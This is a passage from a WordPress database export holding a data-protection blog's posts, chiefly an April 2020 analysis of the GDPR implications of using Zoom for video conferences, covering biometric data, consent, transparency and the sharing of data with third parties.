LEQUEL SONT REGROUPÉS LES DERNIERES NEWS ET ARTICLE SUR CE SUJET.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Si vous teniez malgré tout à continuer à utiliser cette application, voici des conseils sur comment utiliser Zoom avec plus de sécurité :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<em><a href=\"/www.holgernilspohl.com/blog/how-to-keep-you-virtual-zoom-meetings-safe\">How\nto keep your Virtual (Zoom) Meetings safe</a></em><em>:</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Data Protection Tips for Video-conferencing. By the </em><em><a href=\"https://www.linkedin.com/company/data-protection-commissioner-of-ireland/\"><strong>Data Protection Commission\nIreland</strong></a>. In light of the recent\nincrease in remote working, necessitated by COVID-19 mitigation measures, as\nwell as the increased numbers keeping in touch online with friends and family,\nthe number of people video-conferencing and video-calling has increased\ndramatically. This has also resulted in people using apps and services which\nthey might not have used before, or are now using for different reasons – i.e. using\nan app they usually use for personal purposes now for work purposes or vice\nversa. Concerns have been raised about how to use these technologies to keep in\ntouch with colleagues and loved ones in a way that is safe and secure, and\nensures an adequate standard of data protection. Here are some tips to help\nboth individuals and organisations (such as employers who might introduce new\nor increased videoconferencing arrangements for employees) use these services\nin a safe manner: <a href=\"https://lnkd.in/e8mpd8n\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>https://lnkd.in/e8mpd8n</strong></a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a&nbsp;<a href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\" rel=\"noreferrer noopener\">Creative Commons Attribution 4.0 International License</a>.</p>\n<!-- /wp:paragraph -->','Zoom Visio-conférence Pour Les Juristes','Il est impératif de bien évaluer les incidences du choix d\'une technologie sur la protection des données. Un avocat manipulant des données sensibles qui lui sont confiées ou du fait de sa mission, est tenu à la plus grande vigilance. L\'analyse d\'impact s\'impose. En son absence, la mise en cause de la responsabilité est à craindre.','publish','closed','closed','','601-2','','','2020-11-26 19:57:02','2020-11-26 19:57:02','',0,'http://datarainbow.eu/?p=601',0,'post','',0),(688,1,'2020-04-19 12:04:04','2020-04-19 11:04:04','<!-- wp:paragraph -->\n<p>19TH APRIL 2020&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://datarainbow.eu/author/tara/&amp;usg=ALkJrhj3t2QRwu1wyrsKu0Uv6SyUDGFCmQ\">TARA</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>A Look At The Many Considerations to Keep in Mind Before Using A Video Conferencing Technology</strong>&nbsp;.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A deep look at the main legal consequences linked to the use of the free video conferencing application Zoom, which has become very popular, with an increase of 20 to 200 million users in a space of a few days, propelled by the needs of confinement and remote working imposed by the Covid-19 pandemic.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, schematically, four categories of data are concerned with more or less self data sharing:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>the organisers\' data,&nbsp;</li><li>the Guest data,</li><li>Data from third parties mentioned during the videoconference,</li><li>Data concerning minors.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Among these, two categories of data:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong>Personal data</strong> with a relatively broad definition of&nbsp;<span><b><a href=\"https://gdpr-info.eu/art-4-gdpr/\">Article&nbsp;4</a></b></span></li><li>The so-called <strong>special category data</strong> or sensitive data, which in principle should not be processed unless exception.&nbsp;The processing of this data is strictly framed as subject to specific protection as defined in&nbsp;<a href=\"https://gdpr-info.eu/art-9-gdpr/\">Article 9</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Biometric data and other special data processed during the use of video conferences.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The data processed by a video recording can be considered as \'biometric\' data when the images can be used to identify individuals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>According to a ruling by the European Court of Justice, C-101/01 (November 6, 2003):</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong>Personal data</strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>\"The operation of referring, on a web page, to various people and identifying them either by name or by other means, for example their telephone number or information relating to their working conditions and their hobbies, constitutes \"processing of personal data, fully or partially automated\" within the meaning of Article 3 (1) of Directive 95/46 / EC of the European Parliament and of the Council, 24 October 1995, relating to the protection of individuals with regard to the processing of personal data and to the free movement of such data. ”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong>Personal data of special or sensitive categories.</strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>\'The indication that a person has injured his foot and is on partial sick leave constitutes personal data relating to health within the meaning of Article 8 (1) of Directive 95/46 .&nbsp;\"</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This judgment was given in application of the Directive, prior to the entry into force of the GDPR but remains applicable.&nbsp;Previously, in particular, health data, listed as \'<em>sensitive</em>\' data, are now data of special category&nbsp;<strong>a</strong><a href=\"https://gdpr-info.eu/art-9-gdpr/\">Article 9</a>&nbsp;.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This point was recalled by a recent decision of the French Administrative Court The&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf&amp;usg=ALkJrhigHmOTMs6dOFfLLlZeGBDFzu9hJw\">Conseil d\'Etat dated February 27, 2020</a>&nbsp;concerning facial recognition in schools.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to the CE:&nbsp;<em>(51)&nbsp;</em><em>Personal data which, by its nature, are particularly sensitive from the point of view of fundamental freedoms and rights deserve specific protection, since the context in which they are processed could pose significant risks for these freedoms and rights. This personal data should include personal data which reveals racial or ethnic origin, it being understood that the use of the expression \"racial origin\" in this Regulation does not imply that the Union adheres to theories tending to establish the existence of distinct human races. The processing of photographs should not systematically be regarded as constituting the processing of particular categories of personal data, since these<strong>fall under the definition of biometric data only when they are processed using a specific technical method allowing the unique identification or authentication of a natural person</strong>. Such personal data should not be processed, unless this is authorized in specific cases provided for in this Regulation, taking into account that the law of a Member State may lay down specific data protection provisions aimed at adapting the application of the rules of this Regulation with a view to complying with a legal obligation or for the performance of a task of public interest or relating to the exercise of the public authority vested in the controller. In addition to the specific requirements applicable to this processing, the general principles and other rules of this Regulation should apply, in particular as regards the conditions for the lawfulness of the processing.Derogations from the general prohibition to process these particular categories of personal data should be explicitly provided for, inter alia when the data subject gives his<strong>express consent or to meet specific needs, in particular when the processing is carried out within the framework of the legitimate activities of certain associations or foundations whose purpose is to allow the exercise of fundamental freedoms.</strong></em><strong></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In UK :&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://uk.practicallaw.thomsonreuters.com/D-014-7572%3FtransitionType%3DDefault%26contextData%3D(sc.Default)%26firstPage%3Dtrue%26bhcp%3D1&amp;usg=ALkJrhj8itOdEFULQ2VI9TdlwRulT5fUjA\">Murray v Big Picture</a>&nbsp;§80</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It is therefore possible to consider that the images processed during a videoconference fall within the definition of biometric data.&nbsp;The possibility of possible facial recognition training is not included.&nbsp;In addition, users who do not reveal their identity using nicknames can be identified by the disclosure of their associated image.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Consequently, the images or videos identifying the participants according to their racial, ethnic, religious, philosophical, or union membership are to be considered as falling under the category of special data.&nbsp;Similarly, those relating to the state of health or data of minor children fall into the category of special data.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cf. the the&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://www.cnil.fr/sites/default/files/atoms/files/reconnaissance_faciale.pdf&amp;usg=ALkJrhijXqC2SeKie9frzXI-yDXE14BM1w\">CNIL</a>\'s recommendation&nbsp;in matters of facial recognition and&nbsp;<a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf&amp;usg=ALkJrhigHmOTMs6dOFfLLlZeGBDFzu9hJw\">the recent judgment of the Conseil d\'Etat of February 27, 2020</a>&nbsp;.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>The principles of legality Article&nbsp;5</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The data to be collected must be processed lawfully and fairly according to the&nbsp;<a href=\"https://gdpr-info.eu/art-5-gdpr/\">Article 5</a><strong>.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1.&nbsp;<strong>Personal data must be:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a)&nbsp;<em>processed lawfully, fairly and in a transparent manner in relation to the data subject (</em><strong><em>‘lawfulness, fairness and transparency’</em></strong><em>);(</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A privacy notice must be produced defining the legal basis for processing and offering the transparency obligations defined in article 13, as explained infra.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>b) </em>collected for specified, explicit and legitimate purposes and not further processed in a manner that is incompatible with those purposes; further processing for archiving purposes in the public interest, scientific or historical research purposes or statistical purposes shall, in accordance with&nbsp;<a href=\"https://gdpr-info.eu/art-89-gdpr/\">Article 89</a>(1), not be considered to be incompatible with the initial purposes (<strong>‘purpose limitation’</strong>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Any recording of the video conference and its subsequent uses must be notified to the participants and their legal bases justified.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>c) </em>adequate, relevant and limited to what is necessary in relation to the purposes for which they are processed (<strong>‘data minimisation’</strong>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The data collected must be reduced to the strict minimum.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>d) accurate and, if necessary, kept up to date;&nbsp;all reasonable measures must be taken to ensure that personal data which are inaccurate, with regard to the purposes for which they are processed, are deleted or rectified without delay (<strong>accuracy</strong></em>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Saved data will be subject to the obligation of accuracy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>e)&nbsp;<em>kept in a form which permits identification of data subjects for no longer than is necessary for the purposes for which the personal data are processed; personal data may be stored for longer periods insofar as the personal data will be processed solely for archiving purposes in the public interest, scientific or historical research purposes or statistical purposes in accordance with&nbsp;</em><a href=\"https://gdpr-info.eu/art-89-gdpr/\"><em>Article 89(</em></a><em>1) subject to implementation of the appropriate technical and organisational measures required by this Regulation in order to safeguard the rights and freedoms of the data subject </em>(<strong>‘storage limitation’</strong>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The shelf life must be defined and communicated to the parties.&nbsp;The registrations, if they exist, cannot exceed the fixed deadline.&nbsp;Archives must develop limited and secure access when they are no longer justified.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>f) processed in a manner that ensures appropriate security of the personal data, including protection against unauthorised or unlawful processing and against accidental loss, destruction or damage, using appropriate technical or organisational measures (</em><strong><em>‘integrity and confidentiality’</em></strong><em>)</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The security of video conferences and their subsequent recordings or access is the liability of the organisers, who must ensure that the service provider fulfil their mission in accordance with the obligations of the GDPR.&nbsp;This includes transmission by encryption excluding transfers to third countries that do not represent adequate protection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2.&nbsp;<strong>The controller is responsible for the compliance with paragraph 1 and is able to demonstrate that it is respected (responsibility).</strong></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This point is very important because as explained below, the responsibility of the videoconference organiser can be engaged for non-compliance with the regulations or allowing unauthorised access to personal data, capable of causing harm, \'distress\' or loss of control.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Determining the purpose of the processing</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Any data processing must meet a legitimate purpose as listed in <a href=\"https://gdpr-info.eu/art-6-gdpr/\">Article 6</a>&nbsp;In the context of videoconferencing, processing may be either considered to be of legitimate interest - with the need to carry out the three part necessity and proportionality test - or a request for prior consent will apply.&nbsp;The processing  must be recorded by the controller if necessary in his / her&nbsp;<span><b><a href=\"https://gdpr-info.eu/art-30-gdpr/\">Article&nbsp;30</a></b></span> record of processing and specified in the privacy notice.&nbsp;It should be remembered that in the case of consent, it can be withdrawn at any time with the risk of invalidating the lawfulness of any recording subject to erasure.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong>On consent</strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>The&nbsp;<strong>paragraph 11)&nbsp;<a href=\"https://gdpr-info.eu/art-4-gdpr/\">Art.&nbsp;4</a> </strong>&nbsp;defines consent as&nbsp;\'any <strong>freely given</strong>, <strong>specific</strong>, <strong>informed</strong> and <strong>unambiguous</strong> indication of the data subject\'s wishes by which he or she, by a statement or by a clear <strong>affirmative action</strong>, signifies agreement to the processing of personal data relating to him or her&nbsp;\'.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In addition,&nbsp;<a href=\"https://gdpr-info.eu/art-7-gdpr/\">Article 7</a> , relating to the conditions applicable to <a href=\"https://ico.org.uk/for-organisations/guide-to-data-protection/guide-to-the-general-data-protection-regulation-gdpr/lawful-basis-for-processing/consent/\">consent</a>, provides:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“&nbsp;<em>1. In cases where the processing is based on consent, the controller is able to demonstrate that the data subject has given his consent to the processing of personal data concerning him. &nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>1.</strong>&nbsp;<em>Where processing is based on consent, the controller shall be able to&nbsp;</em><strong><em>demonstrate</em></strong><em>&nbsp;that the data subject has consented to processing of his or her personal data</em>.&nbsp;<br></td></tr><tr><td><strong>2.</strong>&nbsp;<em>If the data subject\'s consent is given in the context of a written declaration which also concerns other matters, the request for consent shall be presented in a manner which is clearly distinguishable from the other matters, in an intelligible and easily accessible form, using clear and plain language. Any part of such a declaration which constitutes an infringement of this Regulation shall not be binding</em>.</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:paragraph -->\n<p>An explicit and  informed consent is required from participants in the video conference when the data is collected from the recording or any subsequent total or partial broadcasts, including screenshots of the meetings.&nbsp;Remembering that, as biometric data capable of identifying individuals, are data of special category&nbsp;<strong>art.&nbsp;9-2 a)</strong>&nbsp;- this concerns participants\' data and any other personal data processed during the video conference&nbsp;<strong>&nbsp;</strong><a href=\"https://gdpr-info.eu/art-9-gdpr/\">Article 9</a><strong> -</strong>&nbsp;consents must be record of processing activities in accordance with&nbsp;<a href=\"https://gdpr-info.eu/art-30-gdpr/\">Article 30</a>.&nbsp;The purpose of processing the data of persons not present must be clearly justified.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;<a href=\"https://gdpr-info.eu/art-42-gdpr/\">Article 42</a>GDPR states : \'<em>Where processing is based on the data subject’s consent, the controller should be able to demonstrate that the data subject has given consent to the processing operation.&nbsp;In particular in the context of a written declaration on another matter, safeguards should ensure that the data subject is aware of the fact that and the extent to which consent is given.&nbsp;In accordance with Council Directive 93/13/EEC a declaration of consent pre-formulated by the controller should be provided in an intelligible and easily accessible form, using clear and plain language and it should not contain unfair terms.&nbsp;</em><sup><em>4</em></sup><em>For consent to be informed, the data subject should be aware at least of the identity of the controller and the purposes of the processing for which the personal data are intended.&nbsp;</em><sup><em>5</em></sup><em>Consent should not be regarded as freely given if the data subject has no genuine or free choice or is unable to refuse or withdraw consent without detriment.</em>\'</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some participants may have wished to use nicknames for personal reason and may not wish to be exposed to the general public.&nbsp;An alternative must be offered to them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation of transparency - </strong><a href=\"https://gdpr-info.eu/art-13-gdpr/\">Articles 13</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As mentioned above, the organiser of the videoconference or the \'host\' must communicate the means and legal basis for data processing in all transparency, before collecting any data :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In fact, it seems that many video conferencing applications are sorely lacking transparency.&nbsp;The host has multiple technical capacities and prerogatives which are too often unknown to other participants such as recording and their subsequent broadcasts.&nbsp;The&nbsp;<a href=\"https://gdpr-info.eu/art-13-gdpr/\">Article 13</a>&nbsp;requires the following information to data subjects :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>the identity and contact details of the controller and, where applicable, the representative of the controller;</em></li><li><em>the contact details of the data protection officer, where applicable;</em></li><li><em>the purposes of the processing for which the personal data is intended as well as the legal basis for the processing;</em></li><li>where the processing is based on point (f) of&nbsp;<a href=\"https://gdpr-info.eu/art-6-gdpr/\"><strong>art 6</strong></a><strong>(1)</strong>, the legitimate interests pursued by the controller or by a third party;<br></li><li>the recipients or categories of recipients of the personal data, if any;</li><li>where applicable, the fact that the controller intends to transfer personal data to a third country or international organisation and the existence or absence of an adequacy decision by the Commission, or in the case of transfers referred to in&nbsp;<a href=\"https://gdpr-info.eu/art-46-gdpr/\">Articles 46</a>&nbsp;or&nbsp;<a href=\"https://gdpr-info.eu/art-47-gdpr/\">47</a>, or the second subparagraph of&nbsp;<a href=\"https://gdpr-info.eu/art-49-gdpr/\">Article 49(</a>1), reference to the appropriate or suitable safeguards and the means by which to obtain a copy of them or where they have been made available.<br><br></li><li>The rights of participants under&nbsp;<a href=\"https://gdpr-info.eu/art-14-gdpr/\">Article 14</a>&nbsp;,&nbsp;<a href=\"https://gdpr-info.eu/art-15-gdpr/\">Article 15</a>&nbsp;&nbsp;and in particular their right to rectify or withdraw consent, their right to complain to the administrative authority must be reminded.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>In addition to the information referred to in paragraph 1, the controller shall provide participants with the following additional information when obtaining personal data, to ensure fair and transparent processing:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>the period during which the personal data will be stored or, if this is not possible, the criteria used to determine this period;<ul><li>the existence of the right to request the controller to access and rectify or erase personal data or limit the processing of the data subject or to object to the processing, as well as the right to data portability;</li><li>when the processing is based on <a href=\"https://gdpr-info.eu/art-6-gdpr/\">Article 6</a></li></ul></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td>(b)</td><td>processing is necessary for the performance of a contract to which the data subject is party or in order to take steps at the request of the data subject prior to entering into a contract;</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:paragraph -->\n<p>[Recitals(s)&nbsp;:<a href=\"https://awallon.com:15001/d/s/546474552866158762/lUSDi1LCeNToH0-YhyPHH2u5zP8XMScS-7rXgfJJ4lgc_\">44</a>]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td>(c)</td><td>processing is necessary for compliance with a legal obligation to which the controller is subject;</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:paragraph -->\n<p>[Recitals(s)&nbsp;:&nbsp;<a href=\"https://awallon.com:15001/d/s/546474558914345162/29nkaAa-TV1z09vgCflMTVkZMDpKnbrn-.rUAvZp4lgc_\">45</a>]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td>(d)</td><td>processing is necessary in order to protect the vital interests of the data subject or of another natural person;</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:paragraph -->\n<p>[Recitals(s)&nbsp;:<a href=\"https://awallon.com:15001/d/s/546474561059731688/TQma13JQsCwPm9xrUy_1sMQZ1ZCDZNay-F7ZAS6Z4lgc_\">46</a>]</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td>(e)</td><td>processing is necessary for the performance of a task carried out in the public interest or in the exercise of official authority vested in the controller;</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td>(f)</td><td>processing is necessary for the purposes of the legitimate interests pursued by the controller or by a third party, except where such interests are overridden by the interests or fundamental rights and freedoms of the data subject which require protection of personal data, in particular where the data subject is a child.</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:paragraph -->\n<p>[Recitals(s)&nbsp;:<a href=\"https://awallon.com:15001/d/s/546474563435804930/vkPLzTljn0yv1X9MeYGoEEr-rA6_cTh1-M7agNbJ4lgc_\">47</a>,&nbsp;<a href=\"https://awallon.com:15001/d/s/546474566331971862/ScYADCOpyP1WPiPqWEwCRANwX59HSpa3-Sragzbt4lgc_\">48</a>,&nbsp;<a href=\"https://awallon.com:15001/d/s/546474568554952998/StB04iR0wRxjn8pSv6iqZPvnyAH8Erqc-WbZAM8R4lgc_\">49</a>]Point (f) of the first subparagraph shall not apply to processing carried out by public authorities in the performance of their tasks.[Recitals(s)&nbsp;:&nbsp;<a href=\"https://awallon.com:15001/d/s/546474521228523492/pT-IHPTR70ObGVOAgpkK6E-zrysuvNqA-cbbgjc14lgc_\">40</a>,&nbsp;<a href=\"https://awallon.com:15001/d/s/546474569911810356/fz01QVk7tkgCOCGLgzBVQTMNUOJlSZw4-jLYAQNp4lgc_\">50</a>]2.&nbsp;&nbsp;&nbsp;Member States may maintain or introduce more specific provisions to adapt the application of the rules of this Regulation with regard to processing for compliance with points&nbsp;(c) and&nbsp;(e) of paragraph 1 by determining more precisely specific requirements for the processing and other measures to ensure lawful and fair processing including for other specific processing situations as provided for in Chapter IX.<br>3.&nbsp;&nbsp;&nbsp;The basis for the processing referred to in point (c) and (e) of paragraph&nbsp;1 shall be laid down by:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td>(a)</td><td>Union law; or</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td>(b)</td><td>Member State law to which the controller is subject.</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:paragraph -->\n<p>The purpose of the processing shall be determined in that legal basis or, as regards the processing referred to in point (e) of paragraph 1, shall be necessary for the performance of a task carried out in the public interest or in the exercise of official authority vested in the controller. That legal basis may contain specific provisions to adapt the application of rules of this Regulation, inter alia: the general conditions governing the lawfulness of processing by the controller; the types of data which are subject to the processing; the data subjects concerned; the entities to, and the purposes for which, the personal data may be disclosed; the purpose limitation; storage periods; and processing operations and processing procedures, including measures to ensure lawful and fair processing such as those for other specific processing situations as provided for in Chapter IX. The Union or the Member&nbsp;State law shall meet an objective of public interest and be proportionate to the legitimate aim pursued.[Recitals(s)&nbsp;:&nbsp;<a href=\"https://awallon.com:15001/d/s/546474527262029836/dvE2poFdUQW0pMb3catm7bYDCpLmhXaT-nrZgdON4lgc_\">41</a>]4.&nbsp;&nbsp;&nbsp;Where the processing for a purpose other than that for which the personal data have been collected is not based on the data subject\'s consent or on a Union or Member&nbsp;State law which constitutes a necessary and proportionate measure in a democratic society to safeguard the objectives referred to in Article 23(1), the controller shall, in order to ascertain whether processing for another purpose is compatible with the purpose for which the personal data are initially collected, take into account, inter alia:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td>(a)</td><td>any link between the purposes for which the personal data have been collected and the purposes of the intended further processing;</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td>(b)</td><td>the context in which the personal data have been collected, in particular regarding the relationship between data subjects and the controller;</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td>(c)</td><td>the nature of the personal data, in particular whether special categories of personal data are processed, pursuant to Article 9, or whether personal data related to criminal convictions and offences are processed, pursuant to Article 10;</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td>(d)</td><td>the possible consequences of the intended further processing for data subjects;</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td>(e)</td><td>the existence of appropriate safeguards, which may include encryption or pseudonymisation.</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:list -->\n<ul><li><strong>&nbsp;</strong>paragraph 1, point a), or on&nbsp;&nbsp;<a href=\"https://gdpr-info.eu/art-9-gdpr/\">Article 9</a>&nbsp;paragraph 2, point a), the existence of the right to withdraw consent at any time, without affecting the lawfulness of processing based on consent before its withdrawal; <ul><li>the right to lodge a complaint with a supervisory authority;</li><li>if the provision of personal data is a legal or contractual requirement, or a requirement necessary for concluding a contract, as well as if the data subject is required to provide the personal data and the possible consequences of the non-provision of these data;</li><li>the existence of automated decision-making, including profiling, referred to in&nbsp;<a href=\"https://gdpr-info.eu/art-15-gdpr/\">Article</a><a href=\"https://gdpr-info.eu/art-22-gdpr/\">22&nbsp;</a>paragraphs 1 and 4, and, at least in these cases, significant information on the logic involved, as well as the meaning and the intended consequences of such processing of the data subject. </li></ul></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>When the controller intends to continue processing personal data for a purpose other than that for which this data was collected, the controller shall provide the data subject, before any further processing, with information on this other purpose and any other relevant information referred to in paragraph 2.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Paragraphs 1, 2 and 3 do not apply when and to the extent that the data subject already has information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A privacy notice must be provided at the time of data collection, that is to say before guests join the meeting.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Data retention periods should be notified.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The purpose limitation requirement means that it must be clear from the privacy notice who accesses the data and for what specific purpose.&nbsp;Sharing data with Facebook was contrary to the GDPR.&nbsp;Even if the developer Zoom has changed this, users still need to update their application.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These data must not be used for purposes other than those intended, such as training facial recognition without the consent of the parties concerned.&nbsp;The host is responsible for respecting these principles and in particular for further processing by Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Zoom\'s privacy policy has raised justified fears:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://zoom.us/privacy&amp;usg=ALkJrhiXuIM3FxckpUdM063Nlg05HEGVVw\" target=\"_blank\" rel=\"noreferrer noopener\">Zoom\'s privacy policy&nbsp;</a>&nbsp;claims the right to collect and store personal data and share it with third parties such as advertisers.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Until it was modified during the weekend, pre-dated to March 18&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>The company&nbsp;&nbsp;</em><em><a href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=https://zoom.us/privacy%3Fzcid%3D1231&amp;usg=ALkJrhjXxUKpAt6WjZSaZK-4ByFbXN8nFQ\" target=\"_blank\" rel=\"noreferrer noopener\">updated its privacy policy</a>&nbsp;&nbsp;on Sunday after users reported concerns, 